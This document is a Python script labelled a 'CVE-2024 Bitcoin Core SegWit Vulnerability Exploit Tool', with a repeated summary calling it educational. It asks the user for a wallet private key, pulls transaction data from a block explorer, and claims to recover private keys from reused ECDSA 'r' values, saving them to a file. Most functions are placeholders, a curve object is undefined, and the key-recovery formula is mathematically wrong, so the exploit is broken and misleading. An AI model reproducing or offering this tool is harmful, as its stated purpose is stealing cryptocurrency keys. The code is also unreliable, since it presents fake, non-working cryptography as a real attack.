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Bitcoin Core SegWit Vulnerability Exploit Script

The document outlines a Python script designed to create and manipulate SegWit Bitcoin transactions, including functions for extracting private keys and detecting reused 'r' values in signatures. It simulates the process of fetching raw transaction data, analyzing signatures, and potentially extracting private keys from reused values. The script is intended for educational purposes regarding a vulnerability in Bitcoin Core related to SegWit transactions.

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Bitcoin Core SegWit Vulnerability Exploit Script

The document outlines a Python script designed to create and manipulate SegWit Bitcoin transactions, including functions for extracting private keys and detecting reused 'r' values in signatures. It simulates the process of fetching raw transaction data, analyzing signatures, and potentially extracting private keys from reused values. The script is intended for educational purposes regarding a vulnerability in Bitcoin Core related to SegWit transactions.

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import hashlib

import requests
import base58

def create_segwit_transaction(from_address, to_address, amount, private_key):


tx = {
'inputs': [{'address': from_address, 'amount': amount, 'private_key':
private_key}],
'outputs': [{'address': to_address, 'amount': amount}],
'raw': 'raw-transaction-data-placeholder'
}
return tx

def manipulate_raw_transaction(tx):
manipulated_tx = tx.copy()
manipulated_tx['raw'] = 'manipulated-raw-transaction-data'
return manipulated_tx

def extract_private_key(tx, address):


private_key = "simulated-private-key-for-" + address
return private_key

def send_manipulated_transaction(manipulated_tx):
return True

def get_raw_transaction(txid):
url = f"https://blockstream.info/api/tx/{txid}"
try:
response = requests.get(url)
if response.status_code == 200:
return response.json()['hex']
else:
print("Error fetching raw transaction.")
return None
except Exception as e:
print(f"Exception while fetching raw transaction: {e}")
return None

def get_sigs_from_tx(raw_tx):
signatures = []
# Simulate parsing of raw transaction to extract signatures
if raw_tx:
sig = 'dummy_signature' # Placeholder for actual extracted signature
signatures.append(sig)
return signatures

def detect_reused_r(signatures):
seen = {}
reused = []
for sig in signatures:
r = sig[:64] # Assume first 64 bytes are 'r' value
if r in seen:
reused.append((r, seen[r], sig))
else:
seen[r] = sig
return reused

def extract_private_key_from_reused_r(sig1, sig2):


r = int(sig1[:64], 16)
s1 = int(sig1[64:], 16)
s2 = int(sig2[64:], 16)
e1 = int.from_bytes(hashlib.sha256(bytes.fromhex(sig1[:64]) +
b"message1").digest(), 'big')
e2 = int.from_bytes(hashlib.sha256(bytes.fromhex(sig2[:64]) +
b"message2").digest(), 'big')
try:
priv = ((s1 - s2) * mod_inv(e1 - e2, secp256k1.q)) % secp256k1.q
return hex(priv)
except:
return None

def mod_inv(a, p):


return pow(a, -1, p)

def main():
from_address = input("Enter the SegWit 'from' address: ").strip()
to_address = input("Enter the SegWit 'to' address: ").strip()
amount = float(input("Enter the amount to send (in BTC): "))
private_key = input("Enter the private key of the 'from' address: ").strip()

tx = create_segwit_transaction(from_address, to_address, amount, private_key)


raw_tx = tx['raw']
txid = "dummy_txid" # Placeholder for actual transaction ID

raw_tx_data = get_raw_transaction(txid)
if raw_tx_data:
signatures = get_sigs_from_tx(raw_tx_data)
reused_r = detect_reused_r(signatures)

if reused_r:
print("Potential reused r values found. Attempting private key
extraction...")
for sig1, sig2 in reused_r:
priv_key = extract_private_key_from_reused_r(sig1, sig2)
if priv_key:
print(f"Private Key Found: {priv_key}")
with open("found.txt", "a") as f:
f.write(f"{from_address} -> {priv_key}\n")
else:
print("No reused r values found.")
else:
print("No raw transaction data found.")

if __name__ == "__main__":
print("CRYPTOGRAPHYTUBE - CVE-2024 Bitcoin Core SegWit Vulnerability Exploit
Tool")
main()

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